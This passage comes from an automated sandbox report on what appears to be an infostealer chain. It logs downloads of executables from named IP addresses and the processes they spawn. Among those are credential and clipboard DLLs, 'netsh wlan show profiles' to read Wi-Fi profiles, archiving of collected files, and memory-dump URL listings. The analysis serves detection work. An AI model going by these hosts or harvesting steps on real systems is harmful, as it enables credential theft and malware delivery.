HTTP/1.1 Host: 193.233.132.167" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:25:42 GMT Content-Type: application/octet-stream Content-Length: 917504 Last-Modified: Mon 05 Feb 2024 11:07:13 GMT Connection: keep-alive ETag: "65c0c161-e0000" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000020010000....... "GET /lego/alex.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:25:46 GMT Content-Type: application/octet-stream Content-Length: 1817600 Last-Modified: Wed 24 Jan 2024 18:14:54 GMT Connection: keep-alive ETag: "65b1539e-1bbc00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000....... "GET /lego/RDX.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:25:49 GMT Content-Type: application/octet-stream Content-Length: 320512 Last-Modified: Thu 01 Feb 2024 20:11:20 GMT Connection: keep-alive ETag: "65bbfae8-4e400" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /lego/55555.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:25:51 GMT Content-Type: application/octet-stream Content-Length: 671385 Last-Modified: Mon 29 Jan 2024 16:16:38 GMT Connection: keep-alive ETag: "65b7cf66-a3e99" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000....... "GET /lego/1233213123213.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:25:54 GMT Content-Type: application/octet-stream Content-Length: 2675712 Last-Modified: Mon 29 Jan 2024 19:00:06 GMT Connection: keep-alive ETag: "65b7f5b6-28d400" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /lego/sadsadsadsa.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:26:01 GMT Content-Type: application/octet-stream Content-Length: 320512 Last-Modified: Thu 25 Jan 2024 16:14:17 GMT Connection: keep-alive ETag: "65b288d9-4e400" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /lego/goldklassd.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:26:08 GMT Content-Type: application/octet-stream Content-Length: 409344 Last-Modified: Wed 31 Jan 2024 13:08:05 GMT Connection: keep-alive ETag: "65ba4635-63f00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /lend/lumma1234.exe HTTP/1.1 Host: 193.233.132.167" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:26:09 GMT Content-Type: application/octet-stream Content-Length: 646912 Last-Modified: Sat 03 Feb 2024 18:05:48 GMT Connection: keep-alive ETag: "65be807c-9df00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /dayroc.exe HTTP/1.1 Host: 185.172.128.19" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:26:17 GMT Content-Type: application/octet-stream Content-Length: 7472128 Last-Modified: Sun 04 Feb 2024 17:59:20 GMT Connection: keep-alive ETag: "65bfd078-720400" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /lend/daissss.exe HTTP/1.1 Host: 193.233.132.167" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:26:35 GMT Content-Type: application/octet-stream Content-Length: 431872 Last-Modified: Sat 03 Feb 2024 21:10:46 GMT Connection: keep-alive ETag: "65beabd6-69700" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000....... "GET /lego/redline1234.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:26:38 GMT Content-Type: application/octet-stream Content-Length: 2605056 Last-Modified: Sat 27 Jan 2024 23:34:46 GMT Connection: keep-alive ETag: "65b59316-27c000" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /lend/art33.exe HTTP/1.1 Host: 193.233.132.167" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:26:42 GMT Content-Type: application/octet-stream Content-Length: 2676736 Last-Modified: Sun 04 Feb 2024 00:59:11 GMT Connection: keep-alive ETag: "65bee15f-28d800" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /lend/art1.exe HTTP/1.1 Host: 193.233.132.167" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:27:00 GMT Content-Type: application/octet-stream Content-Length: 2605056 Last-Modified: Sat 03 Feb 2024 23:19:47 GMT Connection: keep-alive ETag: "65beca13-27c000" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /lend/art1.exe HTTP/1.1 Host: 193.233.132.167" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:27:41 GMT Content-Type: application/octet-stream Content-Length: 2605056 Last-Modified: Sat 03 Feb 2024 23:19:47 GMT Connection: keep-alive ETag: "65beca13-27c000" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /lend/crpta.exe HTTP/1.1 Host: 193.233.132.167" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:27:59 GMT Content-Type: application/octet-stream Content-Length: 610048 Last-Modified: Sat 03 Feb 2024 07:21:45 GMT Connection: keep-alive ETag: "65bde989-94f00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000....... "GET /lego/moto.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:28:08 GMT Content-Type: application/octet-stream Content-Length: 6731040 Last-Modified: Mon 22 Jan 2024 22:40:38 GMT Connection: keep-alive ETag: "65aeeee6-66b520" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /lego/1234pixxxx.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:28:26 GMT Content-Type: application/octet-stream Content-Length: 1306624 Last-Modified: Tue 30 Jan 2024 02:20:27 GMT Connection: keep-alive ETag: "65b85ceb-13f000" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000018010000....... "GET /lend/pixxxxx.exe HTTP/1.1 Host: 193.233.132.167" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:28:33 GMT Content-Type: application/octet-stream Content-Length: 1306624 Last-Modified: Sun 04 Feb 2024 22:08:04 GMT Connection: keep-alive ETag: "65c00ac4-13f000" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000018010000.......47:T496,Launches browser "msedge.exe" (UID: 00000000-00008140) Launches browser "msedge.exe" (UID: 00000000-00006568) Launches browser "msedge.exe" (UID: 00000000-00000592) Launches browser "msedge.exe" (UID: 00000000-00007196) Launches browser "msedge.exe" (UID: 00000000-00002960) Launches browser "msedge.exe" (UID: 00000000-00002392) Launches browser "msedge.exe" (UID: 00000000-00007348) Launches browser "msedge.exe" (UID: 00000000-00000828) Launches browser "msedge.exe" (UID: 00000000-00007188) Launches browser "msedge.exe" (UID: 00000000-00002484) Launches browser "msedge.exe" (UID: 00000000-00007152) Launches browser "msedge.exe" (UID: 00000000-00006248) Launches browser "msedge.exe" (UID: 00000000-00006012) Launches browser "msedge.exe" (UID: 00000000-00002672) Launches browser "msedge.exe" (UID: 00000000-00004300) Launches browser "msedge.exe" (UID: 00000000-00008024) Launches browser "msedge.exe" (UID: 00000000-00001584) Launches browser "msedge.exe" (UID: 00000000-00006884) Launches browser "msedge.exe" (UID: 00000000-00006780) Launches browser "msedge.exe" (UID: 00000000-00006632) Launches browser "msedge.exe" (UID: 00000000-00007120)48:T604,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 750F0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72CB0000 "explorgu.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 750F0000 "explorgu.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72CB0000 "rundll32.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 750F0000 "rundll32.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72CB0000 "rundll32.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 0A100000 "rundll32.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 094C0000 "netsh.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 0A100000 "netsh.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 094C0000 "fu.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 750F0000 "fu.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72CB0000 "powershell.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 0A100000 "powershell.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 094C0000 "alex.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 750F0000 "alex.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72CB0000 "RDX.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 750F0000 "55555.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 750F0000 "1233213123213.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 0A10000049:T23bc,Process "explorgu.exe" (UID: 00000000-00007652) was launched with modified environment variables: "COMPUTERNAME" Process "rundll32.exe" (UID: 00000000-00007672) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default", PROCESSOR_ARCHITEW6432="AMD64"" Process "rundll32.exe" (UID: 00000000-00007672) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "netsh.exe" (UID: 00000000-00008136) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "netsh.exe" (UID: 00000000-00008136) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "fu.exe" (UID: 00000000-00005908) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "fu.exe" (UID: 00000000-00005908) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "powershell.exe" (UID: 00000000-00003892) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", SSLKEYLOGFILE="%TEMP%\sslkey.txt", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", LOGONSERVER="\\DESKTOP-FVVF82A", SESSIONNAME="Console", OneDrive="%USERPROFILE%\OneDrive", FPS_BROWSER_USER_PROFILE_STRING="Default", HOMEPATH="\Users\%OSUSER%", HOMEDRIVE="C:"" Process "powershell.exe" (UID: 00000000-00003892) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, TEMP, USERPROFILE, TMP" Process "alex.exe" (UID: 00000000-00006072) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "alex.exe" (UID: 00000000-00006072) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00008140) was launched with modified environment variables: "Path" Process "RDX.exe" (UID: 00000000-00008148) was launched with modified environment variables: "Path" Process "msedge.exe" (UID: 00000000-00006568) was launched with new environment variables: "CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_8140_PUFJELTYPVKXWPRB", EDGE_BROWSER_PID="8140"" Process "msedge.exe" (UID: 00000000-00006568) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "msedge.exe" (UID: 00000000-00006568) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "55555.exe" (UID: 00000000-00006944) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "55555.exe" (UID: 00000000-00006944) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "55555.exe" (UID: 00000000-00006944) was launched with missing environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00000592) was launched with modified environment variables: "Path" Process "msedge.exe" (UID: 00000000-00007196) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_8140_PUFJELTYPVKXWPRB", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325", EDGE_BROWSER_PID="8140"" Process "msedge.exe" (UID: 00000000-00007196) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00007196) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00002960) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00002960) was launched with missing environment variables: "EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00002392) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325"" Process "msedge.exe" (UID: 00000000-00002392) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00007348) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", SSLKEYLOGFILE="%TEMP%\sslkey.txt", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", LOGONSERVER="\\DESKTOP-FVVF82A", SESSIONNAME="Console", EDGE_METRICS_SESSION_ID="22", OneDrive="%USERPROFILE%\OneDrive", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_8140_PUFJELTYPVKXWPRB", FPS_BROWSER_USER_PROFILE_STRING="Default", HOMEPATH="\Users\%OSUSER%", HOMEDRIVE="C:", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325", EDGE_BROWSER_PID="8140"" Process "msedge.exe" (UID: 00000000-00007348) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, TEMP, USERPROFILE, TMP" Process "msedge.exe" (UID: 00000000-00007152) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "msedge.exe" (UID: 00000000-00007152) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00007152) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00006248) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_8140_PUFJELTYPVKXWPRB", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325", EDGE_BROWSER_PID="8140"" Process "msedge.exe" (UID: 00000000-00006248) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00006248) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00006780) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00006780) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "1233213123213.exe" (UID: 00000000-00004384) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "1233213123213.exe" (UID: 00000000-00004384) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "1233213123213.exe" (UID: 00000000-00004384) was launched with missing environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00006632) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="22", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_8140_PUFJELTYPVKXWPRB", EDGE_VARIATIONS_SEED_ETAG=""yqAedQjWNiqI+BDPYcrwkchY8qHmqOg03OLp1w6XIVw="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325", EDGE_BROWSER_PID="8140"" Process "msedge.exe" (UID: 00000000-00006632) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "msedge.exe" (UID: 00000000-00006632) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00007120) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "msedge.exe" (UID: 00000000-00007120) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00007120) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH, EDGE_BROWSER_PID"4a:Tb83,Spawned process "explorgu.exe" (UID: 00000000-00007652) Spawned process "rundll32.exe" with commandline "%APPDATA%\\006700e5a2ab05\\cred64.dll, Main" (UID: 00000000-00007672) Spawned process "rundll32.exe" with commandline "%APPDATA%\\006700e5a2ab05\\cred64.dll, Main" (UID: 00000000-00007552) Spawned process "rundll32.exe" with commandline "%APPDATA%\\006700e5a2ab05\\clip64.dll, Main" (UID: 00000000-00007976) Spawned process "netsh.exe" with commandline "netsh wlan show profiles" (UID: 00000000-00008136) Spawned process "fu.exe" (UID: 00000000-00005908) Spawned process "powershell.exe" with commandline "powershell -Command Compress-Archive -Path '%TEMP%\\_Files_\\' - ..." (UID: 00000000-00003892) Spawned process "alex.exe" (UID: 00000000-00006072) Spawned process "msedge.exe" with commandline "--single-argument https://www.youtube.com/" (UID: 00000000-00008140) Spawned process "RDX.exe" (UID: 00000000-00008148) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00006568), Spawned process "55555.exe" (UID: 00000000-00006944), Spawned process "msedge.exe" with commandline "--single-argument https://www.facebook.com/video" (UID: 00000000-00000592), Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAA ..." (UID: 00000000-00007196), Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00002960) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00002392) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00007348) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00000828) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00007188) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=asset_store.mojom.AssetStoreSe ..." (UID: 00000000-00002484) Spawned process "msedge.exe" with commandline "--single-argument https://accounts.google.com/" (UID: 00000000-00007152) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00006248) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00006012) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00002672) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00004300)4b:Tb83,Spawned process "explorgu.exe" (UID: 00000000-00007652) Spawned process "rundll32.exe" with commandline "%APPDATA%\\006700e5a2ab05\\cred64.dll, Main" (UID: 00000000-00007672) Spawned process "rundll32.exe" with commandline "%APPDATA%\\006700e5a2ab05\\cred64.dll, Main" (UID: 00000000-00007552) Spawned process "rundll32.exe" with commandline "%APPDATA%\\006700e5a2ab05\\clip64.dll, Main" (UID: 00000000-00007976) Spawned process "netsh.exe" with commandline "netsh wlan show profiles" (UID: 00000000-00008136) Spawned process "fu.exe" (UID: 00000000-00005908) Spawned process "powershell.exe" with commandline "powershell -Command Compress-Archive -Path '%TEMP%\\_Files_\\' - ..." (UID: 00000000-00003892) Spawned process "alex.exe" (UID: 00000000-00006072) Spawned process "msedge.exe" with commandline "--single-argument https://www.youtube.com/" (UID: 00000000-00008140) Spawned process "RDX.exe" (UID: 00000000-00008148) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00006568), Spawned process "55555.exe" (UID: 00000000-00006944), Spawned process "msedge.exe" with commandline "--single-argument https://www.facebook.com/video" (UID: 00000000-00000592), Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAA ..." (UID: 00000000-00007196), Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00002960) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00002392) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00007348) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00000828) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00007188) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=asset_store.mojom.AssetStoreSe ..." (UID: 00000000-00002484) Spawned process "msedge.exe" with commandline "--single-argument https://accounts.google.com/" (UID: 00000000-00007152) Spawned process "msedge.exe" with commandline "--type=renderer --display-capture-permissions-policy-allowed --j ..." (UID: 00000000-00006248) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00006012) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00002672) Spawned process "msedge.exe" with commandline "--type=renderer --extension-process --display-capture-permission ..." (UID: 00000000-00004300)4c:T9cb1,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002444.00000000.69262.033F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002444.00000001.71184.033F0000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\hapubws\appdata\local\temp\1000007001\sadsadsadsa.exe.configfile:///c:/users/hapubws/appdata/local/temp/1000007001/sadsadsadsa.exec:/users/hapubws/appdata/local/temp/1000007001/sadsadsadsa.exec:\users\hapubws\appdata\local\temp\1000007001\sadsadsadsa.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.0versionv4.00123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework\v4.0.30319\c:\windows\microsoft.net\framework\v4.0.30319\c:\windows\microsoft.net\framework\v4.0.30319\configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configmachine.config\\.\modeaccessrightssharec:\windows\microsoft.net\framework\v4.0.30319\config\machine.config\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002444.00000002.73104.033F0000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\hapubws\appdata\local\temp\1000007001\sadsadsadsa.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone80123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.config\\.\modeaccessrightsshare\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00002444.00000002.73104.05660000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00002444.00000002.73104.05660000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002592.00000000.70126.03110000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002592.00000001.72047.03110000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002592.00000002.73964.03110000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=393252" - Source: 